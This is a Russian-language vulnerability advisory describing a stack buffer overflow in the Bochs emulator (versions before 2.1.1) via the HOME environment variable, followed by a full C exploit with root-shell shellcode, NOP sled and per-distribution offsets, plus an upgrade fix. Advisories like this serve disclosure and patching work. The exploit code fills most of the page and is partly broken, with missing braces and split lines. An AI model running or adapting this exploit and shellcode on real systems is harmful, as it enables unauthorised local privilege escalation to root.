| Дата публикации: | 29.02.2004 |
| Всего просмотров: | 1669 |
| Опасность: | Низкая |
| Наличие исправления: | |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | |
| Воздействие: | |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | |
| Уязвимые версии: Bochs до версии 2.1.1
Описание: Уязвимость обнаружена в Bochs эмуляторе в обработке HOME переменной окружения. Локальный пользователь может получить поднятые привилегии на целевой системе. Локальный пользователь может установить специально обработанное значение для HOME переменной окружения, чтобы заставить Bochs выполнить произвольные команды с привилегиями Bochs процесса. Пример/Эксплоит:
/*
* The overflow happens when program does not find these files:
* .bochsrc, bochsrc, bochsrc.txt
* Exploit created: 28/12/2003
* Tested Vulnerable Versions: bochs- 2.0.1, 2.0.2, 2.1.pre1, 2.1.pre2 y
2.1
* NOTA: Si el programa no esta +s no nos aparecera ninguna shell pq falla
* la funcion setuid(0), si kereis podeis comentar esa parte de la
shellcode
* para hacer pruebas y funcionara perfectamente.
* debian 3.0 gcc 2.95.4 kernel 2.4.24 offset: 1270
* debian 3.0 gcc 2.95.4 kernel 2.2.20 offset: 1000
* slack 8.1 gcc 2.95.3 kernel 2.6.0 offset: 1970
* Contact: sesox (at) govannom (dot) org
* WebSite: http://www.govannom.org
*/
#include < stdio.h>
#include < unistd.h>
#include < getopt.h>
static char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0)
// "\x31\xc0\xb0\x2e\xcd\x80" //setgid(0)
"\x31\xc9\x31\xd2\x51\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x51\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x31\xc0\xb0\x01\xcd\x80";
char *get_sp() {
asm("movl %esp,%eax");
#define BSIZE 512 // Tama?o de la variable que vamos a desbordar
#define NOP 0x90
main(int argc, char *argv[]){
int opt,offset;
char buffer[BSIZE+8]; //Tama?o desde el principio de la variable asta la
return address
char *ret,*path;
// Inicializamos valores por defecto (slackware 8.1)
offset = 1970;
path = "/usr/local/bin/bochs";
// Recogemos parametros del programa
while((opt = getopt(argc,argv,"p:o:h:")) != -1) {
switch(opt) {
case 'o':
offset=atoi(optarg);
break;
case 'p':
path=optarg;
break;
default:
ussage(argv[0]);
break;
// Obtenemos la direccion de retorno
ret = get_sp()+offset;
printf("Stack init: %x\n", get_sp());
printf("ret: %x\n", ret);
memset(buffer,NOP,sizeof(buffer));
memcpy(buffer+(BSIZE-strlen(shellcode)), (char *)&shellcode,
strlen(shellcode));
memcpy(buffer+(sizeof(buffer)-4), (char *)&ret, 4);
if(setenv("HOME", buffer, 1)==-1){
printf("\n\tError: Can not put buffer in HOME variable.\n\n");
exit(0);
}
if(execl(path,path,NULL)==-1){
printf("\nError: Can not execute bochs. Verify if the path is
correct.\n\n");
exit(0);
}
int ussage(char *arg) {
printf("\n\t .: Stack overflow exploit for bochs (by SeSoX) :. \n");
printf("\n\tUssage:\n\t %s -p < path> -o < offset>\n\n",arg);
exit(-1);
URL производителя: http://bochs.sourceforge.net/ Решение:Установите обновленную версию программы: http://bochs.sourceforge.net/getcurrent.html |
|
| Ссылки: | Bochs HOME Environment Variable Buffer Overflow |